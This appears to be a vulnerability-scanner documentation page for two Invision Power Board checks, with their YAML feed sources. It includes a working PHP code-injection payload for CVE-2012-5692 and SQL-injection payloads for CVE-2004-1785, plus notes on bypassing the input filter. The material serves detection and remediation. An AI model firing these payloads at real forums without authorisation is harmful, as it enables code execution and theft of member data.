Invision Power Board — 2 vulnerability checks
noctis ships 2 vulnerability checks for Invision Power Board, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Invision Power Board 'unserialize()' PHP Code Execution
| CVE | CVE-2012-5692 |
|---|---|
| Severity | critical · CVSS 10.0 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/invision-power-board/CVE-2012-5692.yaml |
Injects PHP into the query string so that unserialize() writes it to a cache file, then requests /cache/noctis_probe.php and reports when it runs (phpinfo() page).
How noctis detects it
- HTTP(S) request
GET /index.php?<?error_reporting(0);print(___);phpinfo();die;?> - Checks
r1.statusfor^200$ - HTTP(S) request
GET /cache/noctis_probe.php - Checks
r2.bodyfor<title>phpinfo\(\)→ finding QoD 97: Invision Power Board executed injected PHP (phpinfo() rendered from the cache file) — CVE-2012-5692 unserialize() code execution confirmed.
References:
Feed source — tests/vulnerabilities/invision-power-board/CVE-2012-5692.yaml
uid: 4e8a1d53-9c27-4b60-8f1a-3d7e2b9c6a40
name: "CVE-2012-5692 — Invision Power Board 'unserialize()' PHP Code Execution (CVSS 10.0)"
description: "Injects PHP into the query string so that unserialize() writes it to a cache file, then requests /cache/noctis_probe.php and reports when it runs (phpinfo() page)."
cves: [CVE-2012-5692]
cvss: 10.0
severity: critical
category: rce
confidence_base: 0.25
tags: [invision, ipb, php-code-exec]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2012-5692"
- "OpenVAS NASL 2012/gb_ipb_56288.nasl (GPL-2.0-only)"
# Ported from OpenVAS/Greenbone NASL 2012/gb_ipb_56288.nasl (GPL-2.0-only).
# Faithful two-request flow exactly as the plugin: inject a PHP payload through index.php (the
# unserialize() sink), then read the resulting cache file and confirm the injected phpinfo()
# actually executed ("<title>phpinfo()"). A patched build sanitises the input so no cache file is
# written and the read returns 404 — the detection does not fire (non-trivial negative).
steps:
- id: init
action: set_var
var_name: injected
var_value: false
- id: inject
action: http_request
method: GET
path: "/index.php?<?error_reporting(0);print(___);phpinfo();die;?>"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: r1
- id: inject-gate
action: match
source: r1.status
pattern: "^200$"
on_match:
set_vars:
injected: true
- id: read-cache
action: http_request
method: GET
path: "/cache/noctis_probe.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "injected == true"
store_as: r2
- id: detect
action: match
source: r2.body
pattern: "<title>phpinfo\\(\\)"
condition: "injected == true && r2.status == 200"
on_match:
finding:
confidence_delta: 0.70
qod: 97
evidence: "Invision Power Board executed injected PHP (phpinfo() rendered from the cache file) — CVE-2012-5692 unserialize() code execution confirmed."
stop: trueInvision Power Board calendar.php 'm' SQL Injection
| CVE | CVE-2004-1785 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/invision-power-board/CVE-2004-1785.yaml |
Tests Invision Power Board 1.3 for the unauthenticated SQL injection through the month parameter (m) of its calendar (index.php?act=calendar). In the web root and in the /forum, /forums, /board and /ipb directories, once the calendar answers a plain request without a database error, the feed sends a month value that starts with a digit followed by SQL that makes the database raise an XPath error carrying the product of two random numbers. The correct product in the board's database error page confirms that the database ran the injected expression; the product is not part of the request, so a page that only echoes the URL is not reported. On databases without the EXTRACTVALUE function, the feed instead appends a single quote to the month and reports the board's database error page quoting a calendar query, or PHP's checkdate() warning from calendar.php showing that the unfiltered month reached the calendar code, provided the plain request showed neither. The probes read no table row and change nothing.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/index.php?act=calendar&y=2004&m=1 - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/index.php?act=calendar&y=2004&m=1%20AND%20extractvalue(1,concat(0x7e,{{m.a}}*… - Parses / computes the next value with a Rhai script
- Checks
prooffor^XPATH syntax error: ~[0-9]+$→ finding QoD 97: Invision Power Board calendar.php 'm' SQL Injection (CVE-2004-1785) - HTTP(S) request
GET {{dir}}/index.php?act=calendar&y=2004&m=1%27 - Parses / computes the next value with a Rhai script
- Checks
synfor^IPB database error on a calendar query$→ finding QoD 75: Invision Power Board calendar.php 'm' SQL Injection (CVE-2004-1785) - Checks
synfor^checkdate\(\) warning from calendar\.php$→ finding QoD 70: Invision Power Board calendar.php 'm' SQL Injection (CVE-2004-1785)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2004-1785
- https://seclists.org/bugtraq/2004/Jan/16
- https://www.securityfocus.com/bid/9353
- http://forums.invisionpower.com/index.php?act=ST&f=1&t=108786
Feed source — tests/vulnerabilities/invision-power-board/CVE-2004-1785.yaml
# Invision Power Board 1.3 index.php?act=calendar 'm' SQL injection — CVE-2004-1785
#
# IPB 1.3 Final sources/calendar.php sets the chosen month and year with
# $this->chosen_month = ( ! intval($ibforums->input['m']) ) ? $this->now_date['mon'] : $ibforums->input['m'];
# so any value that starts with a digit passes the intval() test and is kept
# as typed (SCSA-025, frog-m@n / phpSecure.info, Bugtraq 2004-01-03, BID 9353).
# The value is then pasted unquoted into the calendar queries:
# SELECT bday_day from ibf_members WHERE bday_month=<m> (birthdays on)
# SELECT * FROM ibf_calendar_events WHERE event_repeat=1
# AND ( repeat_unit IN ('w','m') OR (repeat_unit='y' AND month=<m>) )
# SELECT * FROM ibf_calendar_events WHERE event_repeat <> 1 AND month=<m> AND year=<y> ...
# The fix (IPB 1.3.1, checked in its public source) wraps both inputs in intval().
#
# IPB's input cleaner (functions.php clean_value()) turns ' " & ! $ < > into
# HTML entities, so only a quote-free payload works in this unquoted context.
# A failed query ends in IPB's "Invision Power Board Database Error" page,
# whose textarea holds htmlspecialchars("mySQL query error: <query>\n\nmySQL error: ...").
#
# Detection (benign, read-only), per candidate board directory
# ("", /forum, /forums, /board, /ipb):
# 1. Control: GET <dir>/index.php?act=calendar&y=2004&m=1 must answer 200
# without a database error or checkdate() warning (also gates the probes).
# 2. m=1 AND extractvalue(1,concat(0x7e,<a>*<b>)) — the value passes intval()
# and checkdate() (leading digit), MySQL raises "XPATH syntax error:
# '~<a×b>'" in the first calendar query. The product of two random
# operands is not in the request. MySQL folds the constant: no row read,
# and it errors on empty tables too. QoD 97.
# 3. Fallback (MySQL < 5.1, no EXTRACTVALUE): m=1' (the source's probe) — the
# quote becomes ', whose "#" opens a MySQL comment, so the query breaks:
# the database error page must quote a calendar query (birthdays or
# calendar_events) holding the month as IPB's cleaner rewrote it
# (1', shown as 1&#39;) — text no reflector of the request has.
# ereg(), not egrep(): the calendar_events query spans several lines of
# the error page and egrep() tests one line at a time. QoD 75.
# 4. Fallback: the same m=1' raises PHP's "checkdate() expects parameter"
# warning from calendar.php (the source's second marker): the unfiltered
# month reached the calendar code, which only the vulnerable releases do.
# Only PHP builds whose integer-argument parsing rejects "1'" print it
# (PHP 5.0.x; 5.1+ accept it with a notice IPB hides), and those builds
# also reject every injection payload before the query runs: this branch
# shows the vulnerable code, like a version check. QoD 70.
#
# Improvements over the source check: a database-computed proof (QoD 97), an
# error-free control request, the error page must quote the calendar query
# (not any "mySQL query error"), the checkdate() warning must come from
# calendar.php, and the usual board directories besides the web root.
#
# CVSS: CVE-2004-1785 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT pre2008/invision_power_board_calendar_sql_injection.nasl
# (OID 1.3.6.1.4.1.25623.1.0.11977, GPL-2.0-only).
uid: 60b09a53-22ba-4315-8ae1-3ed2326479b2
name: "Invision Power Board calendar.php 'm' SQL Injection (CVE-2004-1785)"
description: |
Tests Invision Power Board 1.3 for the unauthenticated SQL injection through
the month parameter (m) of its calendar (index.php?act=calendar). In the web
root and in the /forum, /forums, /board and /ipb directories, once the
calendar answers a plain request without a database error, the feed sends a
month value that starts with a digit followed by SQL that makes the database
raise an XPath error carrying the product of two random numbers. The correct
product in the board's database error page confirms that the database ran the
injected expression; the product is not part of the request, so a page that
only echoes the URL is not reported. On databases without the EXTRACTVALUE
function, the feed instead appends a single quote to the month and reports the
board's database error page quoting a calendar query, or PHP's checkdate()
warning from calendar.php showing that the unfiltered month reached the
calendar code, provided the plain request showed neither. The probes read no
table row and change nothing.
cves: [CVE-2004-1785]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [invision-power-board, ipb, php, mysql, sqli, error-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2004-1785"
- "https://seclists.org/bugtraq/2004/Jan/16"
- "https://www.securityfocus.com/bid/9353"
- "http://forums.invisionpower.com/index.php?act=ST&f=1&t=108786"
# OpenVAS/Greenbone NASL pre2008/invision_power_board_calendar_sql_injection.nasl (GPL-2.0-only)
steps:
# Random operands; the expected proof is computed locally.
- id: mint
action: script
code: '#{ a: rand_int(100000, 999999), b: rand_int(100000, 999999) }'
store_as: m
- id: mint-product
action: script
code: '"" + (m.a * m.b)'
store_as: prod
- id: init-proof
action: set_var
var_name: proof
var_value: ""
# ── Loop group: every step below runs once per candidate board dir ───────
- id: init-ctl-r
action: set_var
var_name: ctl_r
var_value: {status: 0, body: ""}
loop:
over: ["", "/forum", "/forums", "/board", "/ipb"]
var: dir
- id: init-num-r
action: set_var
var_name: num_r
var_value: {status: 0, body: ""}
- id: init-mark-r
action: set_var
var_name: mark_r
var_value: {status: 0, body: ""}
- id: control
action: http_request
method: GET
path: "{{dir}}/index.php?act=calendar&y=2004&m=1"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: 'proof == ""'
store_as: ctl_r
- id: gate
action: script
code: |
proof == "" && ctl_r.status == 200 && type_of(ctl_r.body) == "string" && stridx(ctl_r.body, "mySQL query error") < 0 && stridx(ctl_r.body, "XPATH syntax error") < 0 && stridx(ctl_r.body, "checkdate() expects parameter") < 0
store_as: ok
# m=1 AND extractvalue(1,concat(0x7e,<a>*<b>)) — no character that IPB's
# input cleaner rewrites; intval() of it is 1, so it is kept as typed.
- id: inject-numeric
action: http_request
method: GET
path: "{{dir}}/index.php?act=calendar&y=2004&m=1%20AND%20extractvalue(1,concat(0x7e,{{m.a}}*{{m.b}}))"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: 'ok == true'
store_as: num_r
# The error page passes the MySQL message through htmlspecialchars(); accept
# the quote in any common form, or none.
- id: verdict-numeric
action: script
code: |
if ok == true && type_of(num_r.body) == "string" && egrep("XPATH syntax error: (?:'|�?39;|'|')?~" + prod + "(?:[^0-9]|$)", num_r.body) != "" { "XPATH syntax error: ~" + prod } else { proof }
store_as: proof
- id: report-xpath
action: match
source: proof
pattern: "^XPATH syntax error: ~[0-9]+$"
on_match:
finding:
title: "Invision Power Board calendar.php 'm' SQL Injection (CVE-2004-1785)"
description: "An unauthenticated GET to the board calendar (index.php?act=calendar) with SQL appended to the month parameter made the database compute the product of two random numbers, which came back in the board's database error page. Any query the board's database user may run can be injected the same way, including reading the member accounts and their password hashes."
remediation: "Upgrade Invision Power Board to 1.3.1 or later. As a stopgap, wrap the month and year inputs of sources/calendar.php in intval() as the vendor patch does."
confidence_delta: 0.65
qod: 97
evidence: "GET {{dir}}/index.php?act=calendar&y=2004 with an injected month computing {{m.a}}*{{m.b}} returned the database-computed result: {{proof}}"
stop: true
# Fallback for MySQL < 5.1: the source's m=1' probe.
- id: inject-quote
action: http_request
method: GET
path: "{{dir}}/index.php?act=calendar&y=2004&m=1%27"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: 'ok == true && proof == ""'
store_as: mark_r
- id: verdict-quote
action: script
code: |
if proof == "" && ok == true && type_of(mark_r.body) == "string" && ereg("mySQL query error: SELECT (?:bday_day from [A-Za-z0-9_]*members WHERE bday_month=|\\* FROM [A-Za-z0-9_]*calendar_events[^<]{0,200}?month=)1&(?:amp;)?#0?39;", mark_r.body) && stridx(mark_r.body, "SQL error:") >= 0 { "IPB database error on a calendar query" } else if proof == "" && ok == true && type_of(mark_r.body) == "string" && egrep("checkdate\\(\\) expects parameter [0-9] to be (?:long|int(?:eger)?), string given in (?:<b>)?[^<\\r\\n]*calendar\\.php", mark_r.body) != "" { "checkdate() warning from calendar.php" } else { "" }
store_as: syn
- id: report-syntax
action: match
source: syn
pattern: "^IPB database error on a calendar query$"
on_match:
finding:
title: "Invision Power Board calendar.php 'm' SQL Injection (CVE-2004-1785)"
description: "An unauthenticated GET to the board calendar (index.php?act=calendar) with a single quote appended to the month parameter returned the board's database error page showing a calendar query and a MySQL error, while the same page with a plain month showed no error: the parameter is pasted into the query without validation. Any query the board's database user may run can be injected the same way."
remediation: "Upgrade Invision Power Board to 1.3.1 or later. As a stopgap, wrap the month and year inputs of sources/calendar.php in intval() as the vendor patch does."
confidence_delta: 0.50
qod: 75
evidence: "GET {{dir}}/index.php?act=calendar&y=2004&m=1' returned the board's database error page quoting a calendar query with a MySQL error; the same page with m=1 returned status {{ctl_r.status}} with no database error"
stop: true
- id: report-checkdate
action: match
source: syn
pattern: "^checkdate\\(\\) warning from calendar\\.php$"
on_match:
finding:
title: "Invision Power Board calendar.php 'm' SQL Injection (CVE-2004-1785)"
description: "An unauthenticated GET to the board calendar (index.php?act=calendar) with a single quote appended to the month parameter made calendar.php pass the unfiltered value to PHP's checkdate(), which printed a warning, while the same page with a plain month did not. Only the releases affected by the calendar SQL injection keep the month as typed; fixed releases convert it to a number first. On this PHP build the malformed month is rejected before the query runs, but the board runs the vulnerable code."
remediation: "Upgrade Invision Power Board to 1.3.1 or later. As a stopgap, wrap the month and year inputs of sources/calendar.php in intval() as the vendor patch does."
confidence_delta: 0.40
qod: 70
evidence: "GET {{dir}}/index.php?act=calendar&y=2004&m=1' returned PHP's checkdate() warning from calendar.php; the same page with m=1 returned status {{ctl_r.status}} without it"
stop: true